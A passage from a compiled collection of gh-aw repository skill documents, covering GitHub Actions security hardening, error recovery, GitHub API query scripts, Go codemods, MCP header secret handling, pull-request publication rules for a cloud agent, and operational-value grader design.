        exit 1
      fi

      echo "Processing: $INPUT_VALUE"

      result=$(grep -r "$INPUT_VALUE" . || true)
      echo "$result"
```

### Supply Chain Security

Supply chain attacks target dependencies in CI/CD pipelines.

#### Pin Action Versions with SHA

**Insecure:**
```yaml
steps:
  - uses: actions/checkout@v5           # Tag can be moved
  - uses: actions/setup-node@main       # Branch can be updated
```

**Why vulnerable:** Tags can be deleted and recreated, branches can be force-pushed, repository ownership can change.

**Secure:**
```yaml
steps:
  - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
  - uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4.0.2
```

**Why secure:** SHA commits are immutable. Comments indicate human-readable version for updates.

#### Finding SHA for Actions

```bash
# Get SHA for a specific tag
git ls-remote https://github.com/actions/checkout v4.1.1

# Or use GitHub API
curl -s https://api.github.com/repos/actions/checkout/git/refs/tags/v4.1.1
```

### Workflow Structure and Permissions

#### Minimal Permissions Principle

**Insecure:**
```yaml
name: CI
on: [push]

permissions: write-all
```

**Secure:**
```yaml
name: CI
on: [push]

permissions:
  contents: read

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@sha
      - run: npm test
```

#### Job-Level Permissions

```yaml
name: CI/CD
on: [push]

permissions:
  contents: read

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@sha
      - run: npm test

  deploy:
    needs: test
    runs-on: ubuntu-latest
    permissions:
      contents: read
      deployments: write
    steps:
      - uses: actions/checkout@sha
      - run: npm run deploy
```

#### Available Permissions

| Permission | Read | Write | Use Case |
|------------|------|-------|----------|
| contents | Read code | Push code | Repository access |
| issues | Read issues | Create/edit issues | Issue management |
| pull-requests | Read PRs | Create/edit PRs | PR management |
| actions | Read runs | Cancel runs | Workflow management |
| checks | Read checks | Create checks | Status checks |
| deployments | Read deployments | Create deployments | Deployment management |

### Static Analysis Integration

Integrate static analysis tools into development and CI/CD workflows:

#### Available Tools

- **actionlint** - Lints GitHub Actions workflows, validates shell scripts
- **zizmor** - Security vulnerability scanner for GitHub Actions
- **poutine** - Supply chain security analyzer

#### Running Locally

```bash
# Run individual scanners
actionlint .github/workflows/*.yml
zizmor .github/workflows/
poutine analyze .github/workflows/

# For gh-aw workflows
gh aw compile --actionlint
gh aw compile --zizmor
gh aw compile --poutine

# Strict mode: fail on findings
gh aw compile --strict --actionlint --zizmor --poutine
```

### Security Checklist

#### Template Injection
- [ ] No untrusted input in `${{ }}` expressions
- [ ] Untrusted data passed via environment variables
- [ ] Safe context variables used where possible
- [ ] Sanitized context used (gh-aw: `steps.sanitized.outputs.text`)

#### Shell Scripts
- [ ] All variables quoted: `"$VAR"`
- [ ] No SC2086 warnings (unquoted expansion)
- [ ] Strict mode enabled: `set -euo pipefail`
- [ ] Input validation implemented
- [ ] shellcheck passes with no warnings

#### Supply Chain
- [ ] All actions pinned to SHA (not tags/branches)
- [ ] Version comments added to pinned actions
- [ ] Actions from verified creators or reviewed
- [ ] Dependencies scanned for vulnerabilities

#### Permissions
- [ ] Minimal permissions specified
- [ ] No `write-all` permissions
- [ ] Job-level permissions used when needed
- [ ] Fork PR handling secure

#### Static Analysis
- [ ] actionlint passes (no errors)
- [ ] zizmor passes (High/Critical addressed)
- [ ] poutine passes (supply chain secure)

<!-- chapter:end slug=developer-security -->

---

<!-- chapter:begin slug=error-recovery-patterns position=37 -->

## 37. error-recovery-patterns

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/error-recovery-patterns/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/error-recovery-patterns/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/error-recovery-patterns.md
- **Origin:** Credited — installed into this repository, not published from it.
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: error-recovery-patterns
description: Design gh-aw error handling, retry, recovery, and debugging flows.
---

# Error Recovery Patterns Skill

Use this skill for error handling, recovery strategies, and debugging in gh-aw.

## Purpose

Implement robust recovery patterns to:
- Reduce retry loops in agent sessions (target: <10% vs current 23%)
- Implement circuit breakers to prevent infinite retry loops
- Add proactive recovery for installation, dependency, and API failures
- Improve debug logging for recovery attempts

## When to Use This Skill

Use this skill when:
- Implementing retry logic for network operations, installations, or API calls
- Debugging retry loop issues in workflows or agent sessions
- Adding error recovery patterns to new or existing code
- Understanding transient vs non-transient error classification
- Implementing circuit breakers or exponential backoff
- Adding debug logging for recovery attempts

## Key Concepts Covered

### 1. Circuit Breaker Pattern
- Maximum retry limits (standard: 3 attempts)
- Exponential backoff strategies
- Fail-fast on non-transient errors
- Implementation in JavaScript, Shell, and Go

### 2. Installation Failure Recovery
- NPM installation with cache clearing and registry fallbacks
- Python pip installation with mirror alternatives
- Docker image pull with retry and rate limit handling
- Copilot CLI installation with network retry

### 3. API Timeout and Rate Limit Handling
- GitHub API rate limit detection and backoff
- Transient error detection patterns
- Custom retry configuration for different APIs
- Rate limit-specific retry strategies

### 4. Debug Logging for Recovery
- Logger package usage for retry attempts
- Category naming conventions (pkg:filename)
- DEBUG environment variable patterns
- Zero-overhead logging when disabled

### 5. Error Categorization
- Transient vs non-transient errors
- Network errors, timeout patterns
- HTTP error codes (502, 503, 504)
- GitHub-specific errors (rate limits, abuse detection)

## Anti-Patterns to Avoid

This skill explicitly covers anti-patterns to avoid:
- ❌ Infinite retry loops without maximum limits
- ❌ Retrying validation errors that won't self-correct
- ❌ No backoff delay between attempts
- ❌ Silent retries without logging
- ❌ Retrying non-transient errors

## Code Examples Provided

The skill includes production-ready examples for:
- JavaScript retry with `withRetry()` function
- Shell script retry loops with exponential backoff
- Go retry patterns with context and timeouts
- NPM/pip/docker installation recovery
- GitHub API rate limit handling
- Debug logging for all recovery attempts

## Related Skills

- **error-messages** - Error message formatting and style guide
- **error-pattern-safety** - Safety guidelines for error pattern regex
- **developer** - General development guidelines and conventions

## Full Documentation

Complete documentation available at: `../../scratchpad/error-recovery-patterns.md`

This skill references the comprehensive error recovery patterns document which includes:
- Console formatting requirements
- Error wrapping patterns
- Common error scenarios with step-by-step resolution
- Error message templates
- Debugging runbook
- Error categorization decision trees
- Metrics and monitoring strategies

<!-- chapter:end slug=error-recovery-patterns -->

---

<!-- chapter:begin slug=github-labels-query position=38 -->

## 38. github-labels-query

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/github-labels-query/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/github-labels-query/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/github-labels-query.md
- **Origin:** Credited — installed into this repository, not published from it.
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

Bundled files (1), referenced from this skill's directory:
  - `query-labels.sh` — https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/github-labels-query/query-labels.sh

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: github-labels-query
description: List GitHub repository labels with per_page pagination and name filtering support.
---

# GitHub Labels Query Skill

List GitHub repository labels with efficient pagination using the `--per-page` flag.

## Usage

Use this script to list labels from any repository with controlled page sizes.

### Basic Usage

```bash
./query-labels.sh --owner github --repo gh-aw
# Returns 10 labels (default per_page=10)
```

### Pagination

```bash
# Get the first label only
./query-labels.sh --owner github --repo gh-aw --per-page 1

# Get 25 labels starting from page 2
./query-labels.sh --owner github --repo gh-aw --per-page 25 --page 2
```

### Filtering by name

```bash
# Only labels whose name contains "bug" (case-insensitive)
./query-labels.sh --owner github --repo gh-aw --name-filter bug
```

When `--name-filter` is set, all labels are fetched and filtered, then
`--per-page`/`--page` are applied to the filtered results.

## Parameters

| Parameter | Required | Default | Description |
|-----------|----------|---------|-------------|
| `--owner` | Yes | - | Repository owner (username or organization) |
| `--repo` | Yes | - | Repository name |
| `--per-page` | No | 10 | Results per page (1–100) |
| `--page` | No | 1 | Page number |
| `--name-filter` | No | - | Case-insensitive substring filter on the label name |

## Output

Returns JSON with the following fields:

```json
{
  "labels": [
    {
      "id": 12345,
      "node_id": "LA_...",
      "url": "https://api.github.com/repos/owner/repo/labels/bug",
      "name": "bug",
      "color": "d73a4a",
      "default": true,
      "description": "Something isn't working"
    }
  ],
  "item_count": 10,
  "per_page": 10,
  "page": 1
}
```

## Source

Calls the GitHub REST API:
`GET /repos/{owner}/{repo}/labels?per_page={n}&page={n}`

When `--name-filter` is used, the script pages through all labels
(`--paginate`) before filtering and slicing locally.

<!-- chapter:end slug=github-labels-query -->

---

<!-- chapter:begin slug=github-workflows-query position=39 -->

## 39. github-workflows-query

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/github-workflows-query/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/github-workflows-query/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/github-workflows-query.md
- **Origin:** Credited — installed into this repository, not published from it.
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

Bundled files (1), referenced from this skill's directory:
  - `query-workflows.sh` — https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/github-workflows-query/query-workflows.sh

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: github-workflows-query
description: List GitHub Actions workflows with per_page pagination support.
---

# GitHub Workflows Query Skill

List GitHub Actions workflows with efficient pagination using the `--per-page` flag.

## Usage

Use this script to list workflows from any repository with controlled page sizes.

### Basic Usage

```bash
./query-workflows.sh --owner github --repo gh-aw
# Returns 10 workflows (default per_page=10)
```

### Pagination

```bash
# Get the first workflow only
./query-workflows.sh --owner github --repo gh-aw --per-page 1

# Get 50 workflows starting from page 2
./query-workflows.sh --owner github --repo gh-aw --per-page 50 --page 2
```

## Parameters

| Parameter | Required | Default | Description |
|-----------|----------|---------|-------------|
| `--owner` | Yes | - | Repository owner (username or organization) |
| `--repo` | Yes | - | Repository name |
| `--per-page` | No | 10 | Results per page (1–100) |
| `--page` | No | 1 | Page number |

## Output

Returns JSON with the following fields:

```json
{
  "total_count": 42,
  "per_page": 10,
  "page": 1,
  "workflows": [
    {
      "id": 12345,
      "node_id": "W_...",
      "name": "CI",
      "path": ".github/workflows/ci.yml",
      "state": "active",
      "created_at": "2024-01-01T00:00:00Z",
      "updated_at": "2024-01-01T00:00:00Z",
      "url": "https://api.github.com/repos/owner/repo/actions/workflows/12345",
      "html_url": "https://github.com/owner/repo/actions/workflows/ci.yml",
      "badge_url": "https://github.com/owner/repo/actions/workflows/ci.yml/badge.svg"
    }
  ]
}
```

## Source

Calls the GitHub REST API:
`GET /repos/{owner}/{repo}/actions/workflows?per_page={n}&page={n}`

<!-- chapter:end slug=github-workflows-query -->

---

<!-- chapter:begin slug=go-codemod position=40 -->

## 40. go-codemod

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/go-codemod/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/go-codemod/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/go-codemod.md
- **Origin:** Credited — installed into this repository, not published from it.
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: go-codemod
description: Implement and test Go codemods for the gh aw fix command.
---

# Go Codemod Implementation Guide

Use this skill when adding or updating codemods used by `gh aw fix`.

## Understand the fix pipeline first

1. Review `pkg/cli/fix_command.go` to understand execution flow:
   - codemods are loaded once via `GetAllCodemods()`
   - each codemod is applied in registry order
   - frontmatter is re-parsed before each codemod
   - codemods must return `(newContent, applied, error)` and be safe for no-op input
2. Review the codemod registry in `pkg/cli/fix_codemods.go`.
3. Review helper utilities in `pkg/cli/yaml_frontmatter_utils.go` and reusable codemod helper constructors in `pkg/cli/codemod_factory.go`.

## Implementation steps

1. Create a new codemod file in `pkg/cli/` named `codemod_<feature>.go`.
2. Add a package logger with `logger.New("cli:codemod_<feature>")`.
3. Implement `get<Feature>Codemod() Codemod` and populate all metadata fields:
   - `ID` (stable, unique)
   - `Name` (human-readable)
   - `Description` (clear migration behavior)
   - `IntroducedIn` (release version)
4. In `Apply`:
   - check frontmatter preconditions first
   - return unchanged content and `applied=false` when migration is not needed
   - transform only frontmatter using `applyFrontmatterLineTransform` from `pkg/cli/yaml_frontmatter_utils.go`
   - preserve comments/formatting/markdown body
   - avoid lossy rewrites and avoid touching unrelated keys
5. Prefer existing helpers before writing custom parsing logic:
   - `findAndReplaceInLine`
   - `removeFieldFromBlock`
   - `removeParentBlockIfTrulyEmpty`
   - `newFieldRemovalCodemod`
   - `newMoveTopLevelKeyToOnBlockCodemod`
6. If the codemod depends on external data or side effects, inject dependencies through a `...WithDeps` constructor so tests can mock behavior.
7. Register the codemod in `pkg/cli/fix_codemods.go` within `GetAllCodemods()`.

## Testing requirements

Create `pkg/cli/codemod_<feature>_test.go` and cover:

1. Metadata correctness (`ID`, `Name`, `Description`, `IntroducedIn`, `Apply != nil`).
2. Happy path migration with expected output.
3. No-op behavior when deprecated input is absent.
4. Idempotence behavior (already-migrated input remains unchanged).
5. Preservation guarantees:
   - inline comments
   - indentation
   - markdown body after frontmatter
6. Edge cases specific to the codemod (nested fields, mixed forms, ordering constraints, strict-mode checks, etc.).
7. Dependency-injection behavior if `...WithDeps` exists (success and fallback/error paths).

When complexity is high (expression rewriting, parser-like behavior), add fuzz tests in `codemod_<feature>_fuzz_test.go` using the pattern in `pkg/cli/codemod_steps_run_secrets_env_fuzz_test.go`.

## Registry/order tests

After adding a codemod, update `pkg/cli/fix_codemods_test.go`:

1. Expected codemod IDs list.
2. Expected codemod order list.

Order matters because codemods run sequentially and later codemods observe prior transformations.

## Validation commands

Run targeted checks first:

1. `go test -v ./pkg/cli -run Codemod -count=1`
2. `go test -v ./pkg/cli -run Fix -count=1`

Then run repository standards:

3. `make build`
4. `make test-unit`
5. `make lint`

## Quality bar

A codemod is ready only when it is:

- deterministic
- safe on repeated runs
- conservative (no unrelated rewrites)
- fully covered by tests for migration and no-op paths
- registered and order-verified in fix codemod registry tests

<!-- chapter:end slug=go-codemod -->

---

<!-- chapter:begin slug=http-mcp-headers position=41 -->

## 41. http-mcp-headers

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/http-mcp-headers/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/http-mcp-headers/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/http-mcp-headers.md
- **Origin:** Credited — installed into this repository, not published from it.
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: http-mcp-headers
description: Implement secret-safe HTTP headers for MCP transport in gh-aw.
---


# HTTP MCP Header Secret Support - Implementation Summary

Use this reference for HTTP MCP header secret support in the copilot engine.

## Problem Statement

When HTTP MCP headers include GitHub Actions secrets, `mcp-config.json` must:

1. Extract secrets from headers (e.g., `${{ secrets.DD_API_KEY }}`)
2. Declare those env variables in the execution step
3. Configure the MCP config's "env" section to passthrough those variables
4. Use the passed variables in the headers section

## Example Workflow

```markdown
on:
  workflow_dispatch:
permissions:
  contents: read
engine: copilot
mcp-servers:
  datadog:
    type: http
    url: "https://mcp.datadoghq.com/api/unstable/mcp-server/mcp"
    headers:
      DD_API_KEY: "${{ secrets.DD_API_KEY }}"
      DD_APPLICATION_KEY: "${{ secrets.DD_APPLICATION_KEY }}"
      DD_SITE: "${{ secrets.DD_SITE || 'datadoghq.com' }}"
    allowed:
      - search_datadog_dashboards
      - search_datadog_slos
      - search_datadog_metrics
      - get_datadog_metric

# Datadog Dashboard Search

Search for Datadog dashboards and provide a summary.
```

## Generated Output

### 1. MCP Config (mcp-config.json)

```json
{
  "mcpServers": {
    "datadog": {
      "type": "http",
      "url": "https://mcp.datadoghq.com/api/unstable/mcp-server/mcp",
      "headers": {
        "DD_API_KEY": "${DD_API_KEY}",
        "DD_APPLICATION_KEY": "${DD_APPLICATION_KEY}",
        "DD_SITE": "${DD_SITE}"
      },
      "tools": [
        "search_datadog_dashboards",
        "search_datadog_slos",
        "search_datadog_metrics",
        "get_datadog_metric"
      ],
      "env": {
        "DD_API_KEY": "\\${DD_API_KEY}",
        "DD_APPLICATION_KEY": "\\${DD_APPLICATION_KEY}",
        "DD_SITE": "\\${DD_SITE}"
      }
    }
  }
}
```

### 2. Execution Step Environment Variables

```yaml
env:
  DD_API_KEY: ${{ secrets.DD_API_KEY }}
  DD_APPLICATION_KEY: ${{ secrets.DD_APPLICATION_KEY }}
  DD_SITE: ${{ secrets.DD_SITE || 'datadoghq.com' }}
  COPILOT_GITHUB_TOKEN: ${{ secrets.COPILOT_GITHUB_TOKEN }}
  # ... other env vars
```

`GH_AW_MCP_CONFIG` is intentionally NOT in the YAML `env:` block — it is exported from the run script (`export GH_AW_MCP_CONFIG="$HOME/.copilot/mcp-config.json"`) so `$HOME` is resolved at runtime. GitHub Actions does not shell-expand `env:` values, so the path must be set via `export` to work on self-hosted/containerized runners where `HOME` is not `/home/runner`.

## Implementation Details

### Key Functions

1. **extractSecretsFromValue(value string)** - Extracts secret expressions from a string
   - Parses `${{ secrets.VAR_NAME }}` patterns
   - Handles default values: `${{ secrets.VAR || 'default' }}`
   - Returns map of variable names to full expressions

2. **extractSecretsFromHeaders(headers map[string]string)** - Extracts all secrets from HTTP headers
   - Iterates through all header values
   - Collects all unique secret expressions
   - Returns consolidated map of secrets

3. **replaceSecretsWithEnvVars(value string, secrets map[string]string)** - Replaces secret expressions with env var references
   - Transforms `${{ secrets.DD_API_KEY }}` to `${DD_API_KEY}`
   - Used in MCP config headers rendering

4. **collectHTTPMCPHeaderSecrets(tools map[string]any)** - Collects secrets from all HTTP MCP tools
   - Scans all tools for HTTP MCP configurations
   - Extracts secrets from each tool's headers
   - Returns consolidated map for execution step env

### Rendering Logic

#### In renderSharedMCPConfig (mcp-config.go):

1. **Extract secrets** when rendering HTTP MCP configs for copilot engine
2. **Add env section** to property order when secrets are found
3. **Render headers** with env var references instead of secret expressions
4. **Render env** with passthrough syntax (`\${VAR_NAME}`)

#### In GetExecutionSteps (copilot_engine.go):

1. **Collect all HTTP MCP header secrets** from workflow tools
2. **Add to execution step env map** with secret expressions

## Security Benefits

1. **Secrets never appear in MCP config** - Only env var references
2. **Proper GitHub Actions secret handling** - Uses `${{ secrets.* }}` syntax
3. **Environment isolation** - Each MCP server receives only its required secrets
4. **Consistent pattern** - Matches existing GitHub remote MCP server implementation

## Test Coverage

### Unit Tests (mcp_http_headers_test.go)
- extractSecretsFromValue
- extractSecretsFromHeaders
- replaceSecretsWithEnvVars
- collectHTTPMCPHeaderSecrets
- renderSharedMCPConfig with HTTP headers

### Integration Tests (copilot_mcp_http_integration_test.go)
- Single HTTP MCP tool with secrets
- Multiple HTTP MCP tools
- HTTP MCP without secrets
- Property ordering
- Env variable sorting

All tests pass ✓

<!-- chapter:end slug=http-mcp-headers -->

---

<!-- chapter:begin slug=open-pull-request position=42 -->

## 42. open-pull-request

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/open-pull-request/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/open-pull-request/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/open-pull-request.md
- **Origin:** Credited — installed into this repository, not published from it.
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: open-pull-request
description: Publish validated gh-aw changes as a draft pull request from a cloud agent.
generated-by: forge-agent
---

# Open Pull Request

Publish the current gh-aw branch as a draft pull request from a GitHub Copilot cloud agent after the repository's required validation and push steps have completed.

## Purpose

Package the repository's repeated publish flow into one reusable skill so agents stop improvising `gh pr create` sequences and consistently use local validation, `report_progress`, and the runtime pull-request tool.

## Conditions (C)

Use this skill when the current branch contains the intended changes, the run can call both `report_progress` and `create_pull_request`, and the task is to open or update one gh-aw pull request rather than finish an existing review cycle.

## Interface (R)

Inputs: a PR title, summary, optional draft flag, and any repository-specific validation notes. Outputs: pushed branch state via `report_progress`, one created or updated draft pull request, and a short publication summary that names the validation that ran.

## Policy (π)

Before publishing, inspect the repository for a pull-request template and follow it when present. Run repository-specific preparation before the final push: `make fmt` after Go changes, `make recompile` after workflow markdown changes, `make agent-report-progress-no-test` before any intermediate `report_progress`, and `make agent-report-progress` before the final `report_progress`. Use `report_progress` to commit and push the branch, then call `create_pull_request` exactly once to open the PR. Prefer draft mode by default. Never use `gh pr create`, direct `git push`, or ad hoc publication commands from bash in cloud-agent runs.

## Termination (T)

Success means the working tree is published through `report_progress`, the final validation target finished without unresolved errors, and exactly one draft pull request exists for the branch with a body that summarizes changes and validation. Stop after publication; use `pr-finisher` for review-thread or merge-readiness work.

## Always do

- Check for a PR template before composing the body.
- Mention the exact validation commands or targets that passed.
- Keep publication to one pull request for the current branch.
- Use draft mode unless the user explicitly wants a ready-for-review PR.

## Never do

- Never use `gh pr create` or direct Git pushes from bash.
- Never skip the final `make agent-report-progress` before the final publish push.
- Never open multiple PRs for one branch in one run.
- Never treat this skill as a replacement for review handling or merge execution.

## Gotchas / edge cases

- `report_progress` pushes changes but does not open a pull request.
- `create_pull_request` opens the PR but does not run validation or push files.
- Cloud-agent pushes do not re-trigger CI automatically, so local make targets are the authoritative pre-publication signal.
- Missing PR templates are acceptable; fall back to a concise summary and validation section.

## Assets and scripts

- `AGENTS.md`
- `.github/skills/developer/SKILL.md`
- `Makefile` targets `make fmt`, `make recompile`, `make agent-report-progress-no-test`, and `make agent-report-progress`
- Runtime tools `report_progress` and `create_pull_request`
- `.github/skills/pr-finisher/SKILL.md` for post-publication follow-up

## Scope boundaries

This skill covers publication of a new or updated pull request for the current branch. It does not decide feature scope, resolve review comments, re-run CI, or merge the pull request.

**Abstraction level:** compositional

<!-- chapter:end slug=open-pull-request -->

---

<!-- chapter:begin slug=operational-value-designer position=43 -->

## 43. operational-value-designer

- **Source:** https://github.com/github/gh-aw/blob/main/.github/skills/operational-value-designer/SKILL.md
- **Raw:** https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/operational-value-designer/SKILL.md
- **Markdown:** https://skillsdocs.com/github/gh-aw/operational-value-designer.md
- **Origin:** Credited — installed into this repository, not published from it.
- **Licence:** MIT — https://spdx.org/licenses/MIT.html

Bundled files (4), referenced from this skill's directory:
  - `scripts/operational-value-evaluator-path.sh` — https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/operational-value-designer/scripts/operational-value-evaluator-path.sh
  - `scripts/verify-operational-value-contract-change.sh` — https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/operational-value-designer/scripts/verify-operational-value-contract-change.sh
  - `scripts/verify-operational-value-evaluator.sh` — https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/operational-value-designer/scripts/verify-operational-value-evaluator.sh
  - `tests/test.sh` — https://raw.githubusercontent.com/github/gh-aw/main/.github/skills/operational-value-designer/tests/test.sh

<!-- Verbatim upstream SKILL.md follows, YAML frontmatter included. -->

---
name: operational-value-designer
description: "Design and verify a deterministic operational-value grader for any GitHub Agentic Workflow. Use when reasoning from workflow goals to measurable downstream outcomes, defining repository evidence, choosing outcome metrics, or creating an operational-value evaluator. Usage: /operational-value-designer OWNER/REPO WORKFLOW-NAME."
argument-hint: "OWNER/REPO WORKFLOW-NAME"
metadata:
  version: "2.0.0"
---

# Operational Value Designer

Design the smallest deterministic grader that measures whether one workflow run produced its intended operational outcome. Put domain knowledge in the evaluator, not in generic runtime infrastructure.

Operational value is demonstrated progress toward the workflow's intended real-world or repository outcome. It is not agent activity, token usage, output volume, tool usage, or an agent's claim that it succeeded.

The core task is semantic translation:

```text
workflow title + description + intent + effective instructions
  -> real goal and applicable subject
  -> observable evidence
  -> deterministic per-run metric function
```

The evaluator belongs to one workflow and runs whenever that workflow is graded. It must measure that workflow's goal for the current run. It is not a generic safe-output checker: safe outputs are only one possible evidence source and may be irrelevant, insufficient, or merely an intermediate request.

## Deliverables

Choose one evaluator form. For a compact evaluator, embed the complete Bash program in the workflow so it travels with the Markdown:

```yaml
graders:
  operational-value:
    name: Maintainer Time Saved
    description: Maintainer effort avoided by the current run's accepted outcome
    unit: hours
    direction: higher_is_better
    script: |
      #!/usr/bin/env bash
      set -euo pipefail
      request=$(cat)
      # Compute and print the ordered metric array.
```

For a larger evaluator, create one executable file at:

```text
.github/graders/WORKFLOW-NAME-operational-value.sh
```

and configure the workflow:

```yaml
graders:
  operational-value:
    name: Remediation Lead Time
    description: Time required to establish the intended repository outcome
    unit: hours
    direction: lower_is_better
    run: .github/graders/WORKFLOW-NAME-operational-value.sh
```

Always set a concise `name`, `description`, `unit`, and `direction` for the primary metric. At the top of the evaluator, comment the workflow intent and the native meaning of every emitted metric, including its unit, direction, significant boundaries, and `null` interpretation. These comments are frozen and archived with the evaluator bytes, preserving review context without adding a definition mode or a second metadata schema.

Specify exactly one of `script` or `run`. Use this decision rule:

- Choose `script` for compact, workflow-specific Bash that remains easy to review inside the Markdown and can be covered by the workflow's tests.
- Choose `run` when the Bash is large enough to obscure the workflow, is maintained or reused independently, or benefits from dedicated semantic fixtures and shell tooling.

The operational-value evaluator limit is **65,536 UTF-8 bytes, inclusive**, for both forms. `run` does not permit a larger evaluator. This differs from ordinary custom inline JavaScript graders, whose limit is **4,096 Unicode characters, inclusive**.

Both forms are frozen into the compiled workflow, archived with the run, and identified by the same SHA-256 digest. They produce the same GitHub Actions execution payload, so `run` does not reduce the generated workflow size; Base64 transport adds roughly 33% to the evaluator bytes in either case. Choose by readability and testability, not Actions payload size. If an evaluator exceeds 65,536 bytes, simplify its evidence logic rather than switching forms to bypass the limit.

For a file-backed evaluator, create exact semantic fixtures at:

```text
.github/graders/WORKFLOW-NAME-operational-value.fixtures.json
```

Each fixture contains exactly `name`, `request`, and `expected`. Include `attained`, `missed`, `unavailable`, and `malformed`; also include `noop` and `inapplicable` when those states exist. Expected metrics must be exact, ordered, and deterministic. For inline Bash, encode equivalent cases in the workflow's tests and compile the workflow before adoption.

Before implementation, summarize the design in a compact table containing the ultimate goal, outcome ladder, selected measurable effect, why stronger downstream effects are unavailable, primary metric and formula, applicability, success evidence, zero condition, null condition, noop interpretation, adoption point, and required API calls. Surface unresolved ambiguity instead of hiding it in code.

## Design Procedure

### 1. Resolve workflow intent

Validate `OWNER/REPO` and resolve `.github/workflows/WORKFLOW-NAME.md`. Do not infer the target repository or workflow from the current checkout, remotes, generated lock files, or similarly named files.

Read the workflow title or `name`, `description`, canonical top-level `intent:`, effective Markdown body, and prompt imports together. Prefer an explicit `intent:` when these sources conflict. Recover:

- the subject the workflow acts on;
- the ultimate repository or operational condition it is meant to improve;
- the causal path from the workflow's immediate action to that downstream condition;
- explicit success conditions;
- conditions where doing nothing is correct.

Use `evals`, deterministic steps, custom jobs, and safe outputs only as corroborating evidence. Triggers, tools, permissions, and output types describe mechanics; they do not define value by themselves. Never equate “requested a safe output” with “achieved the workflow's goal” unless the Markdown makes that request itself the intended outcome and its required content can be verified.

Resolve referenced prompt or policy files that materially define the goal. If an import is unavailable, report the missing authority instead of guessing. Treat generated files, caches, prior reports, and model output as evidence, not as normative truth, unless the workflow explicitly designates them as authoritative.

Write two sentences before choosing a metric:

> Ultimately, this workflow creates value when ...
>
> For this run, the strongest attributable effect observable at grading time is ...

If either sentence cannot be completed from authoritative workflow content and available evidence, stop and report the ambiguity instead of inventing a metric.

Translate the sentence into a function before writing shell code:

```text
f(run, event, config, observable evidence) -> [{id, value}, ...]
```

For every input, the function must define whether the run was applicable and whether the result is attained, missed, correctly restrained, or unavailable. The implementation should be a direct encoding of this function.

### 2. Identify the valuable effect

First define the unit being evaluated: one event, one issue or pull request, one repository scan, one batch of eligible items, or another subject named by the workflow. Do not default to “one emitted output.” A scheduled monitoring run can be applicable even when it finds no unhealthy items because the repository scan itself is the subject; an item-processing run with no eligible items is usually not applicable.

If the workflow intentionally samples, caps, or rotates through a larger population, state whether the limit defines the intended sample or is only an execution safety cap. A declared sampling rule defines the unit and denominator; a safety cap does not make unprocessed eligible items disappear. Name and interpret a sample metric at that scope; do not extrapolate it to the whole repository.

For workflows driven by user input, bind the unit to that exact target. An otherwise valid result for a different issue, URL, repository, ref, theme, or requested mode scores `0`.

Do not begin with the workflow's output type and turn its presence into the metric. First build an outcome ladder from the goal back toward execution:

```text
ultimate operational condition
  <- durable downstream outcome
  <- applied repository or service change
  <- accepted or verifiable requested action
  <- execution activity
```

Adapt the ladder to the domain; not every workflow has every rung. For each rung, ask whether the effect is observable at grading time, attributable to this run or its exact subject, and independently verifiable. Select the furthest downstream rung that satisfies all three. Walk backward only when a stronger rung fails one of those tests, and record the specific evidence gap. Easy-to-count outputs and workflow mechanics must not displace a measurable downstream effect.

Typical measurable effects, strongest first, are:

1. **Durable outcome already established**: completed release, repository mutation, validated state transition, or another lasting change completed before grading.
2. **Applied intermediate effect**: an accepted issue, merged patch, delivered notification, completed dispatch, or other causal step already proven to have occurred and still attributable to the run.
3. **Verifiable requested action**: a review finding, issue, report, recommendation, patch, dispatch, or noop request whose content and choice satisfy explicit workflow criteria.
4. **Correct restraint**: an explicit noop when an eligible subject exists and evidence proves no action is appropriate.

Prefer established outcomes over applied intermediate effects, applied effects over requested actions, and requested actions over execution traces. Never reward output merely for existing. A requested issue is valuable only when no stronger downstream effect is currently measurable and it is an independently checkable precursor on the causal path to the ultimate goal.

Do not confuse the condition being observed with the workflow's value. A security audit, health report, incident monitor, or grader audit can be fully valuable while reporting severe failures. Score whether the workflow correctly detected, represented, and acted on the condition, not whether the condition was healthy.

No opportunity and correct restraint are different:

- If no eligible subject or decision existed, the primary metric is `null`.
